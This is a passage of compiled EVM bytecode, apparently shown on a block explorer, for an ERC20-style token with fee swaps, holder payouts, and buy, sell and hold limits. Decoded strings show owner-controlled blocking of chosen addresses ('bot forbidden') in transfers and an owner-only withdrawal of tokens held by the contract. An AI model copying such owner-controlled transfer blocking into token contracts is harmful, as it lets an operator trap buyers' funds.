62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212206fb6c0f1d0ff9b4e60085be31e6075e14bb6c76088b63654de3891856dd3e47264736f6c63430008110033a26469706673582212207c75867144f2a9adc6bfe74373fdda65aa0c7bf4ec9b4d23cd4dcb1861fc158f64736f6c63430008110033608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212206fb6c0f1d0ff9b4e60085be31e6075e14bb6c76088b63654de3891856dd3e47264736f6c634300081100334e6f4566666563743a2063616c6c6572206973206e6f74207468652065666665

Deployed Bytecode

0x608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b600